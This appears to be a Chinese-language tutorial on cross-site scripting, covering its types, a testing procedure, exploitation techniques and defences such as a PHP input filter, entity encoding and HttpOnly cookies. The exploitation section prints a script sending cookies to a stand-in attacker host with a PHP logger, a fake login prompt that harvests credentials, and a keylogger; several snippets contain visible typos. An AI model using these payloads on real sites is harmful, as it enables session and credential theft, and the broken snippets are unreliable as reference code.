天天看点

跨站脚本攻击(XSS)XSS攻击漏洞测试XSS攻击利用方式XSS漏洞防护

XSS攻击

概念:XSS攻击是指攻击者利用网站程序对用户输入过滤不足的缺陷,输入可以显示在页面上或者对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

实质:跨站脚本攻击本质上是一种将恶意脚本嵌入到当前页面中并执行的攻击方式。通常黑客通过“HTML注入”行为篡改网页,并插入恶意JavaScript(JS)脚本,从而在用户浏览网页时控制浏览器的行为。

产生原因:网站对用户提交的数据过滤不严格,导致用户提交的数据可以修改当前页面或者插入一段脚本。

XSS攻击通常在用户访问目标网站时或者之后进行某项动作时触发并执行

根据攻击代码存在的地点、是否被服务器存储及存在的形式和效果可分三类:

反射型XSS:浏览器—服务器交互

将用户输入的数据通过URL的形式直接或未经过完善的安全过滤就在浏览器中进行输出,导致输出的数据中存在可被浏览器执行的代码数据(黑客通常需要通过诱骗或者加密变形等方式,将恶意代码的链接发送给用户,用户触发后才能攻击成功)

存储型XSS:浏览器—服务器—数据库交互(可直接产生大范围危害,具有较强的稳定性)

web应用程序将用户输入的数据信息保存在服务端的数据库或者其他文件形式中,网页进行数据查询展示时,会从数据库中获取数据内容,并将数据内容在网页中进行输出展示,只要用户访问具有XSS攻击脚本的网页时,就会触发攻击

DOM型XSS:浏览器—服务器交互(由于构造语句难度较大,比较少见)

是由JavaScript的DOM节点编程可以改变HTML代码的特性形成的XSS攻击,需要针对具体的JavaScript DOM代码进行分析,从而利用

漏洞测试

测试思路

1.寻找输入点

注意网页中用户可自行输入数据的地方,可以通过观察页面的交互行为确定输入点,要求提交的数据量在20字符以上

当输入点较隐蔽或者被限制时,可以使用Burpsuite抓包,查看是否含有隐藏参数并定位,从而寻找输入点

2.寻找输出点

开始可以利用正常内容进行测试,提交后寻找内容显示点从而发现输入参数的具体输出位置,也可以避免攻击行为提前暴露。

3.确定测试数据输出位置

4.输入简单的跨站代码测试

(1)弹窗测试是测试XSS攻击比较经典的方法,在输入中插入一段可以产生弹窗效果的JavaScript脚本,如果刷新后页面产生弹窗,说明XSS攻击测试成功

通过JavaScript执行弹窗命令,命令为alert,内容为/xss
<script>alert(/xss)<</script>
           

(2)当网站后台设置了针对script的标签过滤时,弹窗测试将会被删除,从而不能达到测试效果

比较高级的方法是识别漏洞的防护方式,并绕过(闭合标签测试、大小写混合测试、多重嵌套测试、宽字节绕过测试、多标签测试)

XSS攻击利用方式

窃取Cookie

由于HTTP的特性,Cookie是目前Web系统识别用户身份和会话保存状态的主要方式。

攻击者利用XSS攻击获取被攻击者的Cookie,伪装成当前用户登录,执行恶意操作等,如果被攻击者为管理员,攻击者甚至可以获取Web系统管理权限(文件修改、上传,连接数据库等)

跨站攻击代码:

<script>
Document.location='http:XXX.com/cookie='+document.cookie;
</script>.
           

在远程服务器上放置编写好的cookie.php

<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","a");
Fwrite($log,$cookie."/n");
Fclose($log);
?>
           

用户触发攻击时,攻击者服务器中的cookie.php会接收受害者传入的cookie并保存在本地文件cookie.txt中

网络钓鱼

网站钓鱼有重定向钓鱼、跨框架钓鱼等

下面以HTML注入为例,测试发现网站存在XSS漏洞,且没有特殊字符过滤

构造跨站代码

</script><script
src="http://www.xxx.com/auth.php?id=yVCEB3&info=input+your+account">
</script><script>
           

域名http://xxx.com是攻击者的服务器,在上边写好了auth.php文件

<?
error_reporting();
/* 检查变量 $PHP_AUTH_USER 和 $PHP_AUTH_PW的值*/
if ((!isset($_SERVER['PHP_AUTH_USER']) || (!isset($_SERVER['PHP_AUTH_PW']))) {
/* 空值:发送产生显示文本框的数据头部 */
header('WWW-Authenticate:Basic realm=" '.addslashes(trim($_GET['info'])).' " ');
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required.';
exit;
}
Else if ((isset ($_SERVER['PHP_AUTH_USER'])) && (isset ($_SERVER['PHP_AUTH_PW']))) {
/* 变量值存在,检查其是否正确 */
header("Location:
http://www.xxx.com/index.php?do=api&id={$_GET[id]}&username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}"};
}
?>
           

当用户刷新时,会触发之前写入的XSS攻击,页面弹出基础认证框,不熟悉的人一旦在弹窗中输入用户名密码,就会被攻击者通过服务器上的预接收页面进行保存,基于XSS漏洞的基础认证完成。

窃取客户端信息

为获取尽可能多的攻击者信息,通过使用JS脚本,获取用户浏览器访问记录、IP地址、开放端口、剪贴板内容、按键记录等敏感信息,并将其发送到攻击者的服务器保存

以监听用户键盘动作为例,将监听到的用户按键采用网页弹窗弹出

构造跨站代码,对键盘点击进行赋值并使用alert方式弹出窗口

<script>
function keyDown() {
var realkey = String.fromCharCode);
alert(realkey);}
document.onkeydown = keyDown;
</script>
           

在提交后刷新页面,即可实现XSS漏洞利用

XSS漏洞防护

过滤特殊字符

过滤客户端提交的有害信息,防范XSS攻击

编写一个较严密的过滤函数,将输入信息的关键字过滤,使攻击者的跨站脚本不能被浏览器识别执行

下面是一个比较通用的XSS Filter代码

function RemoveXSS($val) {
   $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);  
   $search = 'abcdefghijklmnopqrstuvwxyz';
   $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
   $search .= '[email protected]#$%^&*()';
   $search .= '~`";:?+/={}[]-_|\'\\';
   for ($i = 0; $i < strlen($search); $i++) {
      $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val);
      $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val);
   }
   $ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
   $ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
   $ra = array_merge($ra1, $ra2);
      for ($i = 0; $i < sizeof($ra); $i++) {
         $pattern = '/';
         for ($j = 0; $j < strlen($ra[$i]); $j++) {
            if ($j > 0) {
               $pattern .= '(';
               $pattern .= '(&#[xX]0{0,8}([9ab]);)';
               $pattern .= '|';
               $pattern .= '|(&#0{0,8}([9|10|13]);)';
               $pattern .= ')*';
            }
            $pattern .= $ra[$i][$j];
         }
         $pattern .= '/i';
         $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); 
         $val = preg_replace($pattern, $replacement, $val);
      }
      return $val;
}
           

这段XSS Filter过滤了一些HTML特性、JavaScript关键字、空字符、特殊字符,目前很多XSS防护方案采用这段代码针对输入信息进行预处理

跨站脚本攻击(XSS)XSS攻击漏洞测试XSS攻击利用方式XSS漏洞防护

ps:因为没学过php,有些函数不太明白的可以查看XSS Filter代码分析 帮助理解

使用实体化编码

HTML实体化编码

将一些特殊字符进行HTML实体化编码,当网页中输出这些已经被编码的特殊字符后,HTML源码中会显示为编码后的字符,并由浏览器翻译成特殊字符并在用户页面显示,相当于HTML是替换编码,告知浏览器哪些特殊字符只能作为文本显示,不能作为代码执行,从而规避XSS风险

JavaScript编码

与HTML实体化编码类似,用户输入的信息被嵌入到JavaScript代码块中,作为动态内容输出

采用这种方法时,要求输出的内容在双引号范围内,才保证安全

HttpOnly

HttpOnly是Cookie的一项属性,如果一个Cookie值设置了这个属性,浏览器将禁止页面的JavaScript访问这个Cookie而窃取Cookie也是XSS漏洞的攻击方法之一,可以防止XSS漏洞的窃取Cookie行为,但是不能从根本上解决XSS问题

在PHP下开启HttpOnly的方法:

(1)找到PHP.ini,寻找并开启标签session.cookie_httponly = true,从而开启全局的Cookie的HttpOnly属性

(2)Cookie操作函数setcookie和setrawcookie专门添加了第七个参数来作为HttpOnly的选项,开启方法为

setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);
setrawcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);
           

HttpOnly属性针对XSS的防护是极其有限的